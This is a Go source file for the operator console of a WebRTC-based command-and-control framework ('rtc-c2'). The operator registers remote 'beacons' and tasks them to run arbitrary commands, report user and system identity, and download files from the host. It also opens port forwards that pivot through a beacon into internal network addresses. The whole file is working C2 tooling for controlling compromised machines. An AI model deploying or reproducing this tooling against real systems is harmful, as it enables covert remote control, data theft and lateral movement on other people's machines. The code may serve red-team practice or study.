// Command operator is the C2 server that tasks beacons through WebRTC tunnels. // It provides an interactive console for issuing commands and managing forwards. // // Direct TCP forward over WebRTC data channels — like SSH -L style // port forwarding, but encrypted inside WebRTC DTLS. package main import ( "bufio" "context" "flag" "fmt" "log" "os" "os/signal" "strings" "sync" "syscall" "time" "github.com/pion/webrtc/v4" "github.com/ek0ms/rtc-c2/pkg/protocol" "github.com/ek0ms/rtc-c2/pkg/signaller" "github.com/ek0ms/rtc-c2/pkg/transport" "github.com/ek0ms/rtc-c2/pkg/tunnel" ) type BeaconSession struct { ID string Hostname string Username string OS string Arch string FirstSeen time.Time LastSeen time.Time Peer *transport.Peer Pending map[string]*protocol.Task mu sync.RWMutex } type Operator struct { mu sync.RWMutex peer *transport.Peer beaconID string beacons map[string]*BeaconSession sessions map[string]*BeaconSession tunnelBr *tunnel.Bridge sigServer *signaller.SignallerServer forwards map[string]*tunnel.ForwardListener activeBeacon string // currently selected beacon ID } func main() { var ( sigAddr = flag.String("sig-addr", ":9090", "Signaller listen address") sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling") operatorID = flag.String("id", "operator-1", "Operator ID") useTURN = flag.Bool("turn", false, "Use TURN relay") wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP") ) flag.Parse() log.SetFlags(log.LstdFlags | log.Lshortfile) op := &Operator{ beacons: make(map[string]*BeaconSession), sessions: make(map[string]*BeaconSession), forwards: make(map[string]*tunnel.ForwardListener), } // --- Start signaller --- op.sigServer = signaller.NewSignallerServer(*sigAddr) go func() { log.Printf("[operator] signaller on %s", *sigAddr) if err := op.sigServer.Start(); err != nil { log.Printf("[operator] signaller stopped: %v", err) } }() time.Sleep(200 * time.Millisecond) // --- Configure transport --- cfg := transport.DefaultConfig(transport.RoleOperator) cfg.PeerID = *operatorID if *useTURN { cfg.WithTURN( []string{"turn:127.0.0.1:3478"}, "rtc-c2", "rtc-c2-pass", ) } peer, err := transport.NewPeer(cfg) if err != nil { log.Fatalf("[operator] create peer: %v", err) } op.peer = peer // --- Setup signaller connection --- var sig signaller.Signaller if *wsSignaller { sig = signaller.NewWebSocketSignaller( fmt.Sprintf("ws://127.0.0.1%s/ws", *sigAddr), *sessionKey, "operator", ) log.Printf("[operator] using WebSocket signaller") } else { sig = signaller.NewHTTPSignaller( fmt.Sprintf("http://127.0.0.1%s", *sigAddr), *sessionKey, "operator", ) } peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error { return sig.SendLocalDescription(sdp) } // --- Setup tunnel bridge (direct TCP forward) --- op.tunnelBr = tunnel.NewBridge() op.tunnelBr.OnData = func(tunnelID tunnel.TunnelID, data []byte) { env, err := protocol.NewEnvelope(protocol.MsgTunnelData, *operatorID, map[string]interface{}{ "tunnel_id": string(tunnelID), "data": data, }) if err != nil { return } msg, _ := env.Serialize() _ = peer.Send(msg) } // --- Handle incoming messages --- peer.OnMessage(func(data []byte) { env, err := protocol.ParseEnvelope(data) if err != nil { log.Printf("[operator] parse error: %v", err) return } op.handleMessage(env) }) peer.OnStateChange(func(evt transport.PeerEvent) { log.Printf("[operator] peer state: %s", evt.State) }) // --- Connect --- ctx, cancel := context.WithCancel(context.Background()) defer cancel() log.Printf("[operator] connecting...") if err := peer.Connect(ctx); err != nil { log.Fatalf("[operator] connect: %v", err) } log.Printf("[operator] ready — signaller on %s, session: %s", *sigAddr, *sessionKey) log.Printf("[operator] beacon connects with: -signaller %s -session %s", fmt.Sprintf("http://%s", *sigAddr), *sessionKey) // --- Interactive console --- go op.console() defer op.consoleCleanup() // --- Wait for signal --- sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) <-sigCh log.Printf("[operator] shutting down") for _, fl := range op.forwards { fl.Stop() } peer.Close() op.sigServer.Stop() } func (op *Operator) handleMessage(env *protocol.Envelope) { switch env.Type { case protocol.MsgRegister: var reg protocol.RegisterPayload if err := env.ExtractPayload(®); err != nil { log.Printf("[operator] extract register: %v", err) return } op.handleRegister(reg) case protocol.MsgHeartbeat: var hb protocol.HeartbeatPayload if err := env.ExtractPayload(&hb); err != nil { return } op.updateHeartbeat(hb) case protocol.MsgTaskResult: var result protocol.TaskResult if err := env.ExtractPayload(&result); err != nil { log.Printf("[operator] extract result: %v", err) return } op.handleTaskResult(env.SenderID, &result) case protocol.MsgPong: // latency measurement case protocol.MsgTunnelData: var payload struct { TunnelID string `json:"tunnel_id"` Data []byte `json:"data"` } if err := env.ExtractPayload(&payload); err != nil { log.Printf("[operator] extract tunnel data: %v", err) return } payloadStr := string(payload.Data) if strings.HasPrefix(payloadStr, "OPENED:") { log.Printf("[operator] tunnel %s opened -> %s", payload.TunnelID, strings.TrimPrefix(payloadStr, "OPENED:")) } else if payloadStr == "CLOSED" { op.tunnelBr.CloseTunnel(tunnel.TunnelID(payload.TunnelID)) } else { op.tunnelBr.HandleData(tunnel.TunnelID(payload.TunnelID), payload.Data) } case protocol.MsgError: var errPayload protocol.ErrorPayload if err := env.ExtractPayload(&errPayload); err == nil { log.Printf("[operator] error from beacon: %s", errPayload.Message) } default: log.Printf("[operator] unknown message type: %s", env.Type) } } func (op *Operator) handleRegister(reg protocol.RegisterPayload) { op.mu.Lock() defer op.mu.Unlock() now := time.Now() beaconID := reg.BeaconID if existing, ok := op.beacons[beaconID]; ok { existing.LastSeen = now existing.Hostname = reg.Hostname existing.Username = reg.Username existing.OS = reg.OS existing.Arch = reg.Arch log.Printf("[operator] beacon %s re-registered", beaconID) return } session := &BeaconSession{ ID: beaconID, Hostname: reg.Hostname, Username: reg.Username, OS: reg.OS, Arch: reg.Arch, FirstSeen: now, LastSeen: now, Pending: make(map[string]*protocol.Task), } op.beacons[beaconID] = session op.sessions[beaconID] = session log.Printf("[operator] beacon registered: %s (%s@%s) %s/%s", beaconID, reg.Username, reg.Hostname, reg.OS, reg.Arch) fmt.Printf("\n[+] Beacon connected: %s — %s@%s (%s/%s)\n> ", beaconID[:12], reg.Username, reg.Hostname, reg.OS, reg.Arch) } func (op *Operator) updateHeartbeat(hb protocol.HeartbeatPayload) { op.mu.RLock() session, ok := op.beacons[hb.BeaconID] op.mu.RUnlock() if !ok { return } session.mu.Lock() session.LastSeen = time.Now() session.mu.Unlock() } func (op *Operator) handleTaskResult(beaconID string, result *protocol.TaskResult) { op.mu.RLock() session, ok := op.beacons[beaconID] op.mu.RUnlock() if !ok { log.Printf("[operator] result from unknown beacon: %s", beaconID) return } session.mu.Lock() delete(session.Pending, result.TaskID) session.mu.Unlock() status := "✓" if !result.Success { status = "✗" } fmt.Printf("\n[%s] Task %s %s (exit: %d, %dms)\n", beaconID[:12], result.TaskID[:8], status, result.ExitCode, result.Duration) if result.Output != "" { fmt.Printf("%s\n", result.Output) } if result.Error != "" { fmt.Printf("Error: %s\n", result.Error) } fmt.Print("> ") } func (op *Operator) sendTask(beaconID string, task *protocol.Task) error { op.mu.RLock() session, ok := op.beacons[beaconID] op.mu.RUnlock() if !ok { return fmt.Errorf("beacon %s not connected", beaconID) } env, err := protocol.NewEnvelope(protocol.MsgTask, op.peer.Config().PeerID, task) if err != nil { return fmt.Errorf("create envelope: %w", err) } msg, err := env.Serialize() if err != nil { return fmt.Errorf("serialize: %w", err) } session.mu.Lock() session.Pending[task.ID] = task session.mu.Unlock() return op.peer.Send(msg) } // --- Console --- func (op *Operator) console() { reader := bufio.NewReader(os.Stdin) fmt.Println("\n=== rtc-c2 Operator Console ===") fmt.Println("Commands: beacons, use , forward ,") fmt.Println(" forwards, stop-forward , exec , download ,") fmt.Println(" info, help, exit") fmt.Print("> ") for { line, err := reader.ReadString('\n') if err != nil { return } line = strings.TrimSpace(line) if line == "" { fmt.Print("> ") continue } parts := strings.SplitN(line, " ", 2) cmd := strings.ToLower(parts[0]) switch cmd { case "exit", "quit": fmt.Println("shutting down...") return case "help": printHelp() case "beacons", "list": op.listBeacons() case "use": if len(parts) < 2 { fmt.Println("usage: use ") break } beaconID := strings.TrimSpace(parts[1]) op.activeBeacon = beaconID op.useBeacon(beaconID, reader) case "forward": if len(parts) < 2 { fmt.Println("usage: forward ") fmt.Println(" forward 127.0.0.1:4444 10.0.1.100:80") fmt.Println(" forward :8080 internal.service:443") break } args := strings.Fields(parts[1]) if len(args) < 2 { fmt.Println("usage: forward ") break } op.startForward(args[0], args[1]) case "forwards": op.listForwards() case "stop-forward": if len(parts) < 2 { fmt.Println("usage: stop-forward ") break } op.stopForward(strings.TrimSpace(parts[1])) case "socks": fmt.Println("'socks' removed — use 'forward' for direct TCP forwarding") default: fmt.Printf("unknown command: %s (try 'help')\n", cmd) } fmt.Print("> ") } } func (op *Operator) startForward(localAddr, remoteAddr string) { // Ensure local addr has a port if !strings.Contains(localAddr, ":") { fmt.Printf("bad local addr: %s (need host:port)\n", localAddr) return } if !strings.Contains(remoteAddr, ":") { fmt.Printf("bad remote addr: %s (need host:port)\n", remoteAddr) return } // Prepend 127.0.0.1 if no explicit host if strings.HasPrefix(localAddr, ":") { localAddr = "127.0.0.1" + localAddr } fl, err := op.tunnelBr.StartForwardListener(localAddr, remoteAddr) if err != nil { fmt.Printf("forward error: %v\n", err) return } op.mu.Lock() op.forwards[localAddr] = fl op.mu.Unlock() fmt.Printf("[+] Forward: %s -> %s (via active beacon)\n", localAddr, remoteAddr) } func (op *Operator) listForwards() { op.mu.RLock() defer op.mu.RUnlock() if len(op.forwards) == 0 { fmt.Println("No active forwards") return } fmt.Println("Active forwards:") for local, fl := range op.forwards { fmt.Printf(" %s -> %s (via beacon)\n", local, fl.TargetAddr) } } func (op *Operator) stopForward(localAddr string) { op.mu.Lock() fl, ok := op.forwards[localAddr] delete(op.forwards, localAddr) op.mu.Unlock() if !ok { fmt.Printf("no forward on %s\n", localAddr) return } fl.Stop() fmt.Printf("[-] Forward stopped: %s\n", localAddr) } func (op *Operator) useBeacon(beaconID string, reader *bufio.Reader) { op.mu.RLock() session, ok := op.beacons[beaconID] op.mu.RUnlock() if !ok { // Try prefix match for id, s := range op.beacons { if len(id) >= len(beaconID) && id[:len(beaconID)] == beaconID { session = s beaconID = id ok = true break } } } if !ok { fmt.Printf("beacon '%s' not found\n", beaconID) return } op.activeBeacon = beaconID fmt.Printf("[+] Using beacon %s (%s@%s)\n", beaconID[:12], session.Username, session.Hostname) fmt.Println(" Commands: exec , info, download , whoami, back") fmt.Print(" > ") for { line, err := reader.ReadString('\n') if err != nil { return } line = strings.TrimSpace(line) if line == "" { fmt.Print(" > ") continue } if line == "back" || line == "exit" { return } parts := strings.SplitN(line, " ", 2) subCmd := strings.ToLower(parts[0]) switch subCmd { case "exec", "run": if len(parts) < 2 { fmt.Println("usage: exec ") break } cmdName := strings.TrimSpace(parts[1]) go func() { task, err := protocol.NewTask(protocol.TaskExec, &protocol.ExecArgs{ Command: cmdName, }) if err != nil { fmt.Printf("create task error: %v\n", err) return } if err := op.sendTask(beaconID, task); err != nil { fmt.Printf("send task error: %v\n", err) return } fmt.Printf("[*] Task %s sent to %s\n", task.ID[:8], beaconID[:12]) }() case "info": task, _ := protocol.NewTask(protocol.TaskInfo, nil) _ = op.sendTask(beaconID, task) fmt.Printf("[*] Info request sent\n") case "whoami": task, _ := protocol.NewTask(protocol.TaskWhoami, nil) _ = op.sendTask(beaconID, task) fmt.Printf("[*] Whoami request sent\n") case "download": if len(parts) < 2 { fmt.Println("usage: download ") break } path := strings.TrimSpace(parts[1]) task, err := protocol.NewTask(protocol.TaskDownload, &protocol.DownloadArgs{ RemotePath: path, }) if err != nil { fmt.Printf("error: %v\n", err) break } _ = op.sendTask(beaconID, task) fmt.Printf("[*] Download request for %s sent\n", path) default: fmt.Println("commands: exec , info, whoami, download , back") } fmt.Print(" > ") } } func (op *Operator) listBeacons() { op.mu.RLock() defer op.mu.RUnlock() if len(op.beacons) == 0 { fmt.Println("No beacons connected. Waiting...") return } fmt.Printf("Connected beacons (%d):\n", len(op.beacons)) fmt.Println(strings.Repeat("-", 60)) fmt.Printf("%-24s %-16s %-8s %-8s\n", "Beacon ID", "User@Host", "OS", "Arch") fmt.Println(strings.Repeat("-", 60)) for _, s := range op.beacons { id := s.ID if len(id) > 12 { id = id[:12] + "..." } userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) fmt.Printf("%-24s %-16s %-8s %-8s\n", id, userHost, s.OS, s.Arch) } } func printHelp() { fmt.Print(` Commands: beacons List connected beacons use Interactive beacon session forward Direct TCP forward (SSH -L style) Example: forward 127.0.0.1:4444 10.0.1.100:80 forwards List active forwards stop-forward Stop a forward listener help Show this help exit Shut down Beacon session commands: exec Run command on beacon info Get system info whoami Get user identity download Download file from beacon back Return to main menu Example: forward 127.0.0.1:4444 internal.service:80 curl http://127.0.0.1:4444/path `) } func (op *Operator) consoleCleanup() { fmt.Print("\nShutting down...\n") }